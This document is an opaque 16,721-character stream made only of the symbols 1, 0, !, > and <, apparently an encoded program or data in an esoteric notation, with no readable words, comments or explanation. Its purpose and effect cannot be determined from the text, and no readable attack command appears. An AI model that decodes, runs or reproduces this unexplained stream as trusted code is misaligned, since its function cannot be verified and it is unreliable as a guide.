1!1!1!1010>010110>1!1!1!10110>10110>1!1!1>0>1>0>1!1!1!1!1!1010>01>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1010>010110>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1010>01>0>1>0>1!1>0>1>0>1!1!1!10110>10110>1!1!1>0>1>0>1!<>1!1!1!1010>010110>1!1>0>1>0>1!1!1!10110>10110>1!1!1>0>1>0>1!1!1!1!1010>01>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!<>1!1!1!1010>01>0>1!1>0>1!1>0>1>0>1!1!1!10110>10110>1!1!1>0>1!1>01010111>01!1>0>1!1!1010>01>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!10110>1!1!1>0>1!1>0>1!1!1!1010>01>0>1!1>0>1!1!1!1!1>0>1>0>1!1!10110>1!1!1>0>1>0>1!1!1!1!1010>01>0>1!<>1>0><>10110>10110>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0><>1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!1010>010110>1!1!1!1!1>0>1!1>0>1!10110>1!1!1>0><>1!1!1!1>0>1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1>0>1!1!1!1!<>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!<>1!1>0>1!1>0>1!1!1010>01>0>1!1!1!1>0><>1!1>0>1!1!1!1!1>0>1!1!1!1010>01>0>1!1>0>1!1!1>0><>1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!<>1!1>0>1>0>1!1>0><>1!1!1!1!1>0>1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!<>1!1>0>1!1>0>1!1!1010>01>0>1!1!1!1>0><>1!1>0>1!1!1!1!1>0>1!1!1!1010>01>0>1>0>1!1!1!1>0><>1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1010>01>0>10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!<>1>0>1!<>1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1010>01>0>1!1>0>1>0>1!1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>10110>1!1>0>1>0>1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1010>01>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!10110>1!1!1>0>1!1>0>1!1!1!1010>01>0>1!1>0>1!1!1!1!1>0>1>0>1!1!10110>1!1!1>0>1>0>1!1!1!1!1010>01>0>1!<>1>0><>10110>10110>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1010>01>0>1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>01010111>01!1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1!10110>10110>1!1>0>1>0>1!1>0><>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1010>01>0><>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1010>010110>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!10110>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0><>1!1>0>1>0>1!1!1!1>0>10110>1!1>01010111>01!1>0>1!1!1!1!1>0>1>0>1!<>1!1!1!1010>01>0>1>0>1!1!1>0>1>0>1!1!1!10110>10110>1!1!1>0>1>0>1!1!1!1010>010110>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!1!1!<>10110>1!1>0>1!1!1!1>0>1!1!10110>1!1>0>1>0>1!10110>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0><>1!1>01010111>01>0>1!1!1!1010>01>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1010>010110>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1>0>1!1!1!<>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!10110>10110>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1010>010110>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1!<>1!1!10110>1!1!1>0>1>0>1!1!1!1!1010>010110>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1010>01>0>1!1!1>0>1!1!<>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!10110>10110>1!1!1!1>0>1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1!1!10110>10110>1!1!1!<>1!1!1!1>0>1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1!<>1!1!1>0>1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>10110>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!10110>1!1!1!10110>1!1!1!1>01010111>01!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1!10110>1!1>0>1>0>1!1>0>1>0><>1!1!1!1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1>0>10110>1!1!10110>1!1!10110>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!101101010111>01>0>1!10110>1!1!1>0>1!1>0>1>0>101101010111>01!1!<>1!10110>10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!10110>1!1!1>0>1>0>1!1!10110>1!10110>1!1!1!10110>1!1!1>0>1!1>0>10110>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>01010111>010110>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!<1010111>01!1>0>1>0>1!1>0>1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!10110>1!1!1!1!1>0>1>0>1!1>0>1!<>1!1>0>1>0><>1>0>10110>1!10110>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>10110>10110>1!1!10110>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1>0>10110>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!10110>1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0><>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>10110><>1>0>1!1>0>1!1>0><>1>0>1!1!1>0>1>0>10110>10110>1!10110>1!1!1!1>0>1!10110>10110>1!1>0>1>0>10110>10110>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!10110>10110>1!1!1!1>0>1>0>1!1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>10110>1!1!1>0>1>0>1!1!1!1>0>1>0>10110>1!1!1>0>1>01010111>010110>1!1!1>0>1!1!10110>1!1>0>10110>1!1!1!1!1!1!10110>1!1!1!1!1!10110>1!1>0>1!1>0>1!1>0>1>0>1!10110>1!1!1!1!1>0>1!1!1!1!1>0>1!<>1>0><>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!10110>1!1!1>0>1!1!<>1!1!1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1>0>1!1!1>0>10110>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0><>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1>0><>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>10110>1!10110>1!1!1>0>1!1>0>1>0>1!1!10110>10110>1!1>0>1>0><>1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1!1>0>10110>1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>10110>10110>1!1!1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!10110>1!1!1>0>1>0>1!10110>1!10110>1!1!1>0>10110>10110>1!1>0><>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>10110>1!1!1>0>1>0>1!1!1>0>1!10110>1!1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>10110>10110>1!1!10110>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!10110>1!1!10110>1!1>0>1>0>1!10110>1!1!1>0>10110>10110>1!1>0>1>01010111>01!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1!1>0>1>0>1!1!1>0>1!10110>1!1!1!1!1>0>1!10110>1!1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>10110>10110>1!1!1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!1>0>10110>10110>1!1>0><>1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1!1>0>10110>1!1!10110>10110>10110>1!1!1!1!1>0>1!10110>1!10110>1!1>0>1!1>0>1>0>1!1!1!1>0>10110>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>10110>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>10110>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>1!1>0>1!1!1!1!10110>1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>10110>1!1>0>10110>1!10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!101101010111>010110>1!10110>1!1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1>0>10110>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!101101010111>010110>1!1!1>0>1!1!1!10110>1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>10110>1!1>0>10110>1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!101101010111>010110>1!1!1>0>1!1!1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>10110>1!1>0>10110>1!10110>1!1>0>1>0>1!1>0>1>01010111>01!1>0>1!1>0>1!1>0>1>0>1!101101010111>010110>1!1>0>1!1!1!1!10110>1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!10110>1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>10110>1!1>0>10110>1!10110>1!1!1>0>101101010111>01!1>0>1!1>0>1!1!1!1!10110>1!1!1!10110>1!1>0>1>0>1!10110>1!1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>10110>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>0>10110>1!1!1>0>1>01010111>01!1!1>0>10110>1!101101010111>01>0><>1!1!10110>1!1>0>1>0>10110>1!1>0>1!1!10110>1!1>0>1!1!1!1>0>1>0>1!1>01010111>01!1>01010111>01>01010111>01>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!10110>1!<>10110>1!<>1!1!1!1>0>1!1>0>1!1>0>1>0>10110><>1!1!10110>1!1>0>1>0>10110>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!<>1>0>1!<>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!10110>1!<>10110>1!<>1!1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!<>1!10110>1!1>0>1>0>10110>1!1>0><>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!<>1>01010111>01!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!<>1!1>0>1!10110><>1>0>10110>1!<>1!1!1!1>0>1!1>0>1>0>1!1!10110>1!<>1!10110>1!1>0>1>0>10110>1!1>0><>1!1!1!1>0>1>0>1!1>01010111>01!1>01010111>01>0><>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!101101010111>01!1>0>1!1>0>1>0>1!<>1!1!1!1!1>0>1>0>1!1>0>1>0>10110><>1>0>1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1!10110>1!1!1!1>0>1!1!10110>1!1!1!1!1>0>1!1!1!10110>1!1!10110>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!10110>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!<>1!1!1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!10110>10110>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>10110>1!1!1!1!1!1!1!1!<>1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0><>1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>01010111>01>0>1!1>0>1!1>0>1!1>0>1!1!<>1>0>1!1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>01010111>01>0>1!1!1!1!1!1!<>1!1!1!1!1>0>1>0>1!10110>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1!1!10110>1!1!10110>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>01010111>01>0>1!1>0>1!1>0>1!1>0>1!<>1!1!1!10110>10110>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>10110>1!1!1!1!1!1!1!1!<>1>0>1!10110>1!1!1>0><>1>0>1!1>0>1!1!1>0>1!1!1!1!1!10110>1!1!10110>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!10110>1!10110>10110>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!<>1!1!1!1!1>0>1>0>1!10110>1!1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1!1>0><>1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!10110>10110>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>10110>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1!1>0>10110>1!1!1>0>1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>01010111>01>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!10110>10110>1!1>0>1!10110>1!1>0>10110>1!1>0>1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>10110>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>01010111>01>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!10110>10110>1!1>0>1!1>0>1!1>0>1!1>0>10110>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>10110>1!1>0>1>0>1!10110>10110>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!10110>10110>1!10110>1!1!1>0>1!10110>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>10110>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>10110>1!1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>01010111>01>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!10110>10110>1!1!1!10110>1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!10110>1!1!1>0>1!1!1!1!10110>10110>1!1>0>1!1!1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1>0>10110>1!1>0>1!1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!10110>1!1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1>0>1!10110>10110>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1>0>1>0>10110>1!1>0>10110>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1!1!1>0>1>0>1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!10110>1!1!1>0>1>0>10110>1!1>0>10110>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1!1!1!1!10110>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1>0>10110>10110>10110>1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1!1!1>0>1>0>1!1!1>0>10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>10110>1!1>0>10110>1!1!1>0>1!1>0>1!1!1!1!10110>10110>1!1>0>1!1!1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1>0>10110>1!10110>10110>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>10110>1!10110>1!1!1>0>1>0>10110>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1>0>1>0>1!1!1>0>10110>1!1!1!1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>10110>1!1>0>1!1!10110>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!10110>1!1!1!1!1>0>1>0>1!1!10110>1!1!10110>1!1!1!1!1>0>1>0>1!1>0>10110>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!10110>1!10110>1!1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1>0>10110>101101010111>01!10110>1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>10110>1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>101101010111>010110>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!10110>1!1!1!1!1>0>1>0>10110>1!1>0>1>0>10110>1!1!1>0>1>0>1!1!1!1!1>0>1!10110>1!1>0>10110>10110><>1!1!1>0>1>0>1!10110>10110>1!1>0>10110>1!101101010111>01!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>10110>1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!10110>1!1!1!1!1>0>1>0>10110>1!1>0>1>0>10110>101101010111>01!10110>1!1>0>1>0>1!1!1!1!1>0><>1!1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>10110>1!10110>10110>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>101101010111>01>0>10110>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>10110>1!1>0>1>0>10110>101101010111>01!10110>1!1>0>1>0>1!1!10110><>1!1!10110>1!1>0>1!10110>1!1>0>10110>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>10110>1!1!1!1!1!10110>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1!10110>1!10110>10110>10110>1!1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110><>1!1!1>0>1>0>1!10110>10110>1!1>0>10110>1!101101010111>01!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>10110>1!1!1!1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0><>1!1>0>1!1!1>0>1!1!10110>1!1!1!1!10110>1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>01010111>01!1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!10110>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1